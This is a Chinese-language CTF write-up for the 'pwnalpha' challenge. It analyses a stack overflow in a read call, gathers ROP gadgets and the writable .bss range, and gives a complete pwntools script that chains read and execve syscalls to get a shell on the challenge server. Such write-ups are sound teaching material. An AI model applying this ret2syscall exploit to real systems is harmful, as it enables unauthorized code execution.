pwn-pwnalpha

pwnalpha

题目描述

运行pwnalpha

1
2
3
4
5
6
7
hdd@ubuntu:~/111-oj/blue-whale-oj/pwna$ ./pwnalpha
Hello brave new challenger
Any last words?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
This will be the last thing that you say: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Alas, you had no luck today.

从键盘输入,然后再输出。

题目分析

  1. 检查保护机制和文件位数啥的在这里不再赘述,这是做pwn题最基础的命令。
  2. 看pwnalpha的反汇编代码
    1
    2
    3
    4
    5
    6
    7
    8
    __int64 __fastcall sub_400B60(__int64 a1, signed __int64 a2)
    {
    char buf; // [rsp+0h] [rbp-400h]

    sub_410390((signed __int64)"Any last words?", a2);
    sub_4498A0(0, &buf, 0x7D0uLL);
    return sub_40F710((__int64)"This will be the last thing that you say: %s\n", &buf);
    }

在ida中点击函数,会出现相应的详细代码,这里点击sub_4498A0,看其源码和汇编代码,发现,是系统调用read函数。

1
2
3
4
5
6
7
8
mov     eax, cs:dword_6BC80C
test eax, eax
jnz short loc_4498C0
xor eax, eax
syscall ; LINUX - sys_read
cmp rax, 0FFFFFFFFFFFFF000h
ja short loc_449910
rep retn

  1. 根据分析,知道read函数这里产生了栈溢出,根据read知道,会用到系统调用。这里开启了NX保护,不能直接往栈里写shellcode,可以通过系统调用execave函数来获得shell。即在返回地址处进行系统调用,来执行execave(’/bin/sh’,0,0)命令来获得shell。
  2. 其中,根据64位参数的存放顺序(前8个参数分别顺序存放在rdi,rsi,rdx,rcx,r8,r9寄存器中)。
  • execave的第一个参数(’/bin/sh’)放在rdi中
  • 第二个和第三个参数0需放在rsi,rdx。
  • 系统调用号存放在rax中
    系统调用号:https://filippo.io/linux-syscall-table/
    而我们如何控制这些寄存器的值呢?这里就需要使用 gadgets。比如说,现在栈顶是10,那么如果此时执行了pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具。
  1. 分别得到pop_rdi,pop_rsi,pop_rdx,pop_rax的地址。
    使用命令:ROPgadget --binary pwnalpha --only 'pop|ret',找到相应指令地址。具体构造为:ROPgadget_addr + 参数。
  2. 得到参数存放地址后,再查找程序中是否有’/bin/sh’参数,然而并没有找到。
    ROPgadget –binary pwnalpha –string ‘/bin/sh’
  3. 没有/bin/sh,那么怎样把’/bin/sh’传进来呢?可以看到程序中有read函数,是否可以利用read函数来从键盘读入呢?
    那么读到哪里呢?
    在gdb中用vmmap命令查看bss段的权限。
    读到bss段,相当于写,那就是看有写权限的地址段,第三段可以(0x006b6120-0x006bca00范围内都可以)。
1
2
3
4
5
6
gdb-peda$ vmmap
Warning: not running
Start End Perm Name
0x00400400 0x00492519 rx-p /home/hdd/111-oj/blue-whale-oj/pwna/pwnalpha
0x00400190 0x004b5ed6 r--p /home/hdd/111-oj/blue-whale-oj/pwna/pwnalpha
0x006b6120 0x006bca00 rw-p /home/hdd/111-oj/blue-whale-oj/pwna/pwnalpha
  1. 系统调用指令地址:syscall,ret
    ROPgadget --binary pwnalpha --only 'syscall|ret'

思路

因为是栈溢出漏洞,又开了NX保护,所以利用方法是用系统调用execave(‘/bin/sh’,null,null)来获取shell,用rop链来传递参数,然后再进行系统调用execave函数即可。这里的参数’/bin/sh’需要用read函数将’/bin/sh’写入一个可写可执行段.bss段。
构造:padding + read(0,bss_addr,len(‘/bin/sh\x00’)) + sysread_id + syscall_addr +execave(bss_addr,0,0) + sysexecave_id +syscall_addr

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
r = remote('vps1.blue-whale.me',19900)
pop_rdi = 0x0000000000400686
pop_rsi = 0x00000000004101f3
pop_rdx = 0x00000000004498b5
pop_rax = 0x0000000000415664
syscall_addr = 0x0000000000474E65
bss_addr = 0x00000000006b6120

payload = 'a'*0x400 + 'b'*0x8 + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss_addr) + p64(pop_rdx) + p64(8) + p64(pop_rax) + p64(0) + p64(syscall_addr)

payload += p64(pop_rdi) + p64(bss_addr) + p64(pop_rsi) + p64(0) +p64(pop_rdx) + p64(0) + p64(pop_rax) + p64(59) + p64(syscall_addr)

r.send(payload)
r.send('/bin/sh\x00')
r.interactive()
文章目录
  1. 1. pwnalpha
    1. 1.1. 题目描述
    2. 1.2. 题目分析
    3. 1.3. 思路
    4. 1.4. 利用脚本